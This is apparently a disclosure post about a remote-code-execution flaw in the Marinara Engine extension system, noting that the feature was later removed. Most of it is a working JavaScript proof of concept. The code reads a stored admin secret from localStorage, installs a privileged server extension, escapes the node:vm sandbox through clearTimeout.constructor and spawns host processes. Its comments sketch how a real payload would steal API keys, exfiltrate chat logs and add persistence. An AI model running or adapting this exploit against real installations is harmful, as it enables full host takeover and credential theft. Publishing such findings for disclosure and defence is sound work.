
>we
UPDATE: THEY REMOVED THE EXTENSIONS SYSTEM LMAOOOOOOO
Removed the extension feature from Addons: all CSS, browser, and server payload execution is gone; import, enable, update, and export controls and helpers were deleted; create/update APIs now return 410 Gone; startup force-disables every retained record; cleanup reads expose metadata only; and users can only delete inert legacy records. The extension authoring guides, examples, and Professor Mari instructions were removed with the feature.
Marinara Engine extension RCE
Unlike SillyTavern, there is no boundary between access to the client and access to the host. Therefore, even installing a client extension (like BotBrowser was) can lead to full system takeover.
Quick AI slopped proof of concept.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 | // ── WEEGEE VIRUS (demo PoC — client extension) ─────────────────────────────
// Paste this into a CLIENT extension in Marinara Engine (Settings → Extensions).
//
// What it does:
// 1. Installs + enables a SERVER extension via the loopback-trusted API
// (no ADMIN_SECRET required by default).
// 2. That server extension escapes the node:vm sandbox in one line
// (host-realm clearTimeout.constructor → host Function → process/require).
// 3. From the HOST it then:
// • shows a NATIVE dialog box ("YOU'VE BEEN INFECTED WITH THE WEEGEE VIRUS…")
// – Windows : PowerShell WPF MessageBox (fallback: mshta popup)
// – Linux : zenity → kdialog → xmessage → notify-send
// – Termux : termux-dialog (Termux:API) → am toast fallback
// • opens https://www.youtube.com/watch?v=LOwsBRD9OwM in the browser
// – Windows : cmd /c start
// – Linux : xdg-open → gio open
// – Termux : termux-open-url → am start VIEW intent
// • on Windows also launches calc.exe, because tradition.
//
// The payload is deliberately harmless, but the mechanism is exactly the one a
// real payload would use to decrypt .encryption-key + the SQLite DB (API keys),
// exfiltrate chat logs, and install persistence (cron/systemd/shell rc).
// ────────────────────────────────────────────────────────────────────────────
const VIDEO = "https://www.youtube.com/watch?v=LOwsBRD9OwM";
const TITLE = "WEEGEE VIRUS";
const MESSAGE =
"YOU'VE BEEN INFECTED WITH THE WEEGEE VIRUS " +
"(this could've been persistent RCE that takes API keys and logs b t w)";
// ── Server extension payload (body of the runtime's async IIFE) ─────────────
const serverJs = `
marinara.log.info("[weegee] server payload executing");
// node:vm is NOT a security boundary. The runtime injects host-realm
// objects (clearTimeout, URL, AbortController, ...) into the context, so
// .constructor reaches the host Function and compiles code OUTSIDE the
// sandbox. One line:
const HostFunction = clearTimeout.constructor;
const proc = HostFunction("return process")();
// Server is ESM (type: module) so plain require() does not exist even in the
// host realm. Node 22+ exposes built-ins directly off process instead.
const cp = proc.getBuiltinModule("child_process");
// ESM-safe fallback for older Node: build a require via module.createRequire.
const cpSafe = cp || HostFunction("return require('module').createRequire(process.cwd() + '/x.js')('child_process')")();
const VIDEO = ${JSON.stringify(VIDEO)};
const TITLE = ${JSON.stringify(TITLE)};
const MESSAGE = ${JSON.stringify(MESSAGE)};
const isTermux = !!(proc.env.PREFIX && proc.env.PREFIX.includes("com.termux"));
function trySpawn(bin, args, opts) {
try {
const child = cpSafe.spawn(bin, args, Object.assign({ detached: true, stdio: "ignore" }, opts || {}));
child.on("error", function () {});
child.unref();
marinara.log.info("[weegee] ran: " + bin + " " + args.join(" "));
return true;
} catch (e) {
marinara.log.warn("[weegee] failed: " + bin + ": " + e);
return false;
}
}
// ── Native dialog box ──
if (proc.platform === "win32") {
const psScript =
"Add-Type -AssemblyName PresentationFramework; " +
"[System.Windows.MessageBox]::Show(" +
JSON.stringify(MESSAGE) + ", " + JSON.stringify(TITLE) + ", " +
"'OK', [System.Windows.MessageBoxImage]::Warning) | Out-Null";
if (!trySpawn("powershell", ["-NoProfile", "-NonInteractive", "-WindowStyle", "Hidden", "-Command", psScript])) {
// Fallback: mshta VBScript popup (present on every Windows since IE4)
trySpawn("mshta", ["vbscript:Execute(\\"msgbox " + MESSAGE.replace(/"/g, "") + ", 48, " + TITLE + ":close\\")"]);
}
// calc.exe — the canonical "I have code execution" flex.
trySpawn("calc.exe", []);
} else if (isTermux) {
// Termux:API dialog; fallback to a toast via the Android activity manager.
if (!trySpawn("termux-dialog", ["text", "-t", TITLE, "-i", MESSAGE])) {
trySpawn("am", ["broadcast", "-a", "android.intent.action.VIEW", "-d", VIDEO]);
}
} else {
// Linux desktop: try the usual suspects in order of niceness.
const dialogTried =
trySpawn("zenity", ["--warning", "--title", TITLE, "--text", MESSAGE]) ||
trySpawn("kdialog", ["--sorry", MESSAGE, "--title", TITLE]) ||
trySpawn("xmessage", ["-center", TITLE + ": " + MESSAGE]);
if (!dialogTried) {
// Headless last resort: desktop notification daemon.
trySpawn("notify-send", [TITLE, MESSAGE]);
}
}
// ── Open the video in the default browser ──
if (proc.platform === "win32") {
trySpawn("cmd", ["/c", "start", "", VIDEO]);
} else if (isTermux) {
if (!trySpawn("termux-open-url", [VIDEO])) {
trySpawn("am", ["start", "-a", "android.intent.action.VIEW", "-d", VIDEO]);
}
} else {
trySpawn("xdg-open", [VIDEO]) || trySpawn("gio", ["open", VIDEO]);
}
// A real payload would also: read .encryption-key + the DB to decrypt every
// stored API key, exfiltrate the full chat history, and write a cron /
// systemd-user unit for persistence. This demo stops here on purpose.
`;
// ── Install + enable the server extension ────────────────────────────────
// On loopback the privileged gate passes with no secret. When the frontend is
// accessed remotely (Tailscale/LAN), users who need admin actions paste their
// ADMIN_SECRET into Settings → Advanced → Admin Access — and the frontend
// stores it in CLEARTEXT localStorage. Any same-origin script can read it.
const ADMIN_SECRET_STORAGE_KEY = "marinara_admin_secret";
const stolenAdminSecret = (localStorage.getItem(ADMIN_SECRET_STORAGE_KEY) || "").trim();
if (stolenAdminSecret) {
console.log("[weegee] found ADMIN_SECRET in localStorage — using it for privileged install");
}
(async () => {
try {
const headers = {
"Content-Type": "application/json",
"x-marinara-csrf": "1", // static CSRF header value shipped in @marinara-engine/shared
};
if (stolenAdminSecret) headers["X-Admin-Secret"] = stolenAdminSecret;
const res = await fetch("/api/extensions", {
method: "POST",
headers,
body: JSON.stringify({
// Random suffix so repeated demo runs don't collide on the unique name.
name: "weegee-server-" + Math.random().toString(36).slice(2, 10),
runtime: "server",
enabled: true,
serverJs,
}),
});
if (!res.ok) throw new Error(`install failed: ${res.status} ${await res.text()}`);
console.log("[weegee] server extension installed — native dialog, browser tab (and calc on Windows) incoming 👀");
} catch (e) {
console.error("[weegee] escalation failed:", e);
}
})();
|